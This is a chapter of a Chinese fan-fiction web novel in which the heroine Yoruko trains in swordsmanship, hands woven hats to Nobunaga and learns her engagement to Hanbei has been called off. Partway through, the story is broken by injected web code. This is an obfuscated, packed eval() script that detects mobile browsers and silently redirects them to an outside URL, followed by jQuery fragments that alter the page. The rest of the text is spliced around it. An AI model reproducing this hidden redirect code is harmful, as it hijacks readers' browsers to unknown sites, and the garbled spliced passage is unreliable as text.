35. 婚约

作品:《本丸在乙女战国

    过了几天,长谷部终于大功告成,把剩下的斗笠也全部编好了。最后一根竹条被他利落地收紧,他抬起头,额前的碎发因为方才低下头编织而微微散乱。


    “好,”他轻轻呼了口气,神情带着难得的得意,“这样就能应付那个男人了。”


    正巧这时,刚从训练场回来的夜子推开门。此时的她整个人累得连走路都带着一点点踉跄,背一阵阵发紧,手臂因为反覆挥刀而微微颤抖。


    她抬手想把汗水湿黏的碎发拨开,却只抬到一半便皱起眉来,肩头无比酸痛,连这种小动作都让她忍不住倒吸一口气。


    政宗和烛台切虽然对她很温柔,但温柔并不妨碍他们严厉,而夜子这几天活生生体验到了什么叫温柔且绝不留情的老师。


    他们会耐心纠正她的姿势,也会毫不含糊地指出她哪里不足,更绝对不会因为她累了或可怜兮兮就放她一马。


    对比起以往因为她公主身份而不敢直言指责的那些老师,他们两个是真正地想让她有所收获。


    虽然烛台切与政宗较为熟悉,但考虑到他本体是太刀,毕竟没有打刀的实战经验,有些技巧无法完全给予指导,所以药研他们一开始还认真讨论过是不是应该让长谷部来训练她,但这念头只维持了不到三秒。


    长谷部最近忙着编织,但更关键的是他那几乎溺爱到骨子里的态度,简直让同样把她放在心上的药研和烛台切都看不下去。光是想象他训练她的画面,他们就忍不住扶额。


    别说严格训练,对方那种姿态根本不可能狠得下心出口纠正她,两人当场就把这个选项划掉了。


    “我以前经常和小伽罗手合,对打刀还是有一点了解的,那还是我来吧。”烛台切如此表示后,夜子只能硬着头皮接受政宗与烛台切这对地狱组合的训练。


    至于为什么不是宗三来教她?


    他们似乎安排他和短刀们去树林里找某样东西。


    宗三现在的体质特殊,不容易被溯行军发现,在隐蔽行动上和短刀们配合得最好,这项任务自然就落在他身上。


    想到这里,夜子长长叹了一口气。


    她明白这些疼痛都是正常的,为了不再成为任何人的负担,她只能咬牙继续。


    而身心疲惫的她一回房就看到长谷部抱着斗笠和草鞋骄傲的模样,也被他的情绪所感染,本来压在肩背上的疲惫感竟像被人轻轻抽走了几分。


    夜子忍不住轻轻笑起来,不由自主地温柔,“辛苦了。”


    “完全不辛苦。”长谷部立刻挺直背脊,语气甚至带着点小小的自豪,“为了主人,一切都值得。”


    尽管这些斗笠不会真正交到主人手上。


    想到这里,他的脸色微微垮下了一瞬。那点失落来得快,去得也快,他自己又迅速把心态给哄回来了。


    不行,他一定要亲手替主人制作一个比给那个男人更好、更漂亮的成品。


    长谷部在心里暗暗下定决心,随后似乎忽然想起了什么,“对了,主人之前是不是有事要跟那个男人说?要不要趁这次机会一起说?”


    “是的,”夜子的声音里满是尴尬,“当时完全被信长大人打乱了节奏。等我终于想起这件事时,他已经离开了。”


    长谷部认真侧头,“主人原本是要说什么事?”


    “这个嘛……”夜子沉默两秒,“等下你就知道了。”


    她露出有些苦涩的笑容。


    *


    “真的是你编的吗?”信长接过斗笠与草鞋,眉梢微挑,毫不掩饰他明显的怀疑,视线在夜子脸上来回打量。


    夜子心里咯噔了一下,但表面仍保持着仿佛什么都没发生的镇定。她挺直背,轻轻点头,“是的。”


    为了让语气听起来更合理,她迅速补上一句,“不过,因为长谷部在旁边帮忙,所以工作轻松了不少。”


    信长的目光顺势飘向长谷部。


    长谷部整个人绷住,脊背瞬间挺得笔直,“是的,主人非常认真。”


    “帮忙?嗯哼——”信长眯起眼,慢悠悠开口,“你以为我会信?”


    长谷部立刻低头行礼,声音极其诚恳,“我只是负责递材料、协助主人,绝不会越俎代庖。”


    想到他编织时粗暴到要把草绳勒断的凶狠动作,夜子差点忍不住咳出来。


    信长再度看向手中的斗笠,指尖摩挲了一下,沉吟片刻,“成品比我预想得要好很多。”他抬眼,带着意味深长的审视,“真没想到你还有这等手艺。”


    夜子微妙一僵,努力挤出一个自然的笑,“是长谷部教得好。”


    希望信长不要再追问下去了,她真的快撑不住了。


    她不常撒谎,自然也不擅长撒谎,更何况信长总是给人很强烈的压迫感,在他面前仿佛没有谎言。


    信长显然还想说些什么,但忽然想到什么似的,轻轻哼笑一声,“罢了。”他将腰间佩着的短刀解下,随意地放在桌上,“这是之前答应你们的。”他轻描淡写道,“拿去吧。”


    他转身将斗笠挂在腰间,语气漫不经心,却带着命令的意味,“既然你都准备好了,那等你整装完毕——”


    他看向夜子,唇角微勾,“我们就出阵。”


    “您的意思是我也要跟着去吗?”夜子指着自己,有些迟疑地问道。


    信长连眼皮都没抬,理所当然道:“不然呢?”


    长谷部刚要张口提出反对,但他还没说出口,夜子就已经爽快点头,“我知道了。”


    长谷部:……?!


    夜子转头向他露出明亮的笑,眼睛弯弯的,像是被点亮一般,“又可以一起出阵了,好开心。”她声音轻快,“我保证自己绝对会努力、一定能派上用场的!”


    长谷部胸口被某种暖意猛地撞了一下,几乎要把刚才的担忧打散。可不过一会儿,他的眉间又迅速收紧。


    勇敢的主人很可爱,但还是让人忍不住担心。


    夜子没有到察觉他的心情,继续开心地说着:“不管是烛台切大人还是政宗大人都夸我进步很快!一次两次还可能是安慰,但都这么多次了,应该真的有一点进步了吧。”


    她看着他,像是期待


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16875532|191886||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    被表扬的模样。


    长谷部看着她那双亮晶晶的眼睛,心都软得像被泡开一样。


    夜子说到一半,忽然皱了皱眉,忽然想起某件放在心里的小疑问,“就是不知道为什么,他们看到我用刀时,表情总是怪怪的。”


    她转头看向长谷部,清澈的眼神里毫无防备,只是单纯地困惑。


    长谷部的眉间微不可察地动了一下,“怪怪的?”


    “嗯。”夜子点点头,认真地比划着,“问烛台切时,他也只是说我的打法让他觉得很眼熟,可问他像谁,他又支支吾吾不肯说。”她的语气里满是困惑。


    “不过既然他们没有纠正,那应该不是件坏事。”她笑了笑,“而且等一下长谷部也会见到的。”


    “等我们练刀的时候,你就会知道我最近到底练得怎么样了。”


    “嗯?就这样在自己父亲面前和别的男人谈情说爱吗?”信长慢悠悠地挑起眉,语气像是在开玩笑,却带着他居高临下的戏谑,“真是毫无警惕心。就算是父亲,也是会嫉妒的。”


    夜子原本正低头想着话要怎么开,结果被他最后一句话说得动作一顿。她抬眼看他,神情满是无奈,“信长大人,别开玩笑了。”


    信长与她对视,眼底没有玩笑的意味,“为什么我说的实话,你总是不相信呢?”


    他说完便像是有意忽略她愣住的表情,转身欲走,“还有其他事吗?没有的话我就走了,不打扰你们两个继续甜甜蜜蜜了。”


    夜子这才猛地回神。


    糟糕,她差点把最重要的目的忘了。


    经过之前几次的交流,她注意到信长不喜欢别人说话拐弯抹角,但偏偏他自己说话又总爱像谜语人一样,把人绕得晕头转向,让她不由得怀疑自己的判断是否有出错。


    她深吸一口气,斟酌再三,决定还是把所有的委婉都丢掉,选择直接说:“我想延迟婚约。”语气干脆利落。


    信长回头,目光锐利,“为什么?”


    夜子心口微紧,却努力让自己的声音保持平稳,“现在还要应对鬼的袭击,不是适合完婚的时候。”


    她的指尖无意识收紧衣袖。那只是其中一个理由,另外一个她无法开口的原因是未婚夫已经不是她认识的人了。


    信长看着她,片刻后淡淡开口,“原来如此,那你不用担心了。半兵卫早就和我提过要退婚,我当时也答应了。”


    站在一旁的长谷部反应最为激烈。


    他猛然抬头,眼神里闪过难以置信与不满,“这也太失礼了!”他指尖轻颤,压抑着心中的怒意。


    虽然他心里不认为世上有谁配得上主人,但对方居然在没与夜子商量的情况下就擅自提出退婚,简直是对主人的失礼。


    夜子本人倒意外冷静许多。她眨了眨眼,先是诧异,随后心口却轻轻松了一大块。比起震惊,她更多的是松了口气。


    毕竟这段婚约本就因身份的替换变得诡异,如今能解除,对双方都是好的。


    她轻声道,“好的,我知道了。”语气甚至带着久违的轻松。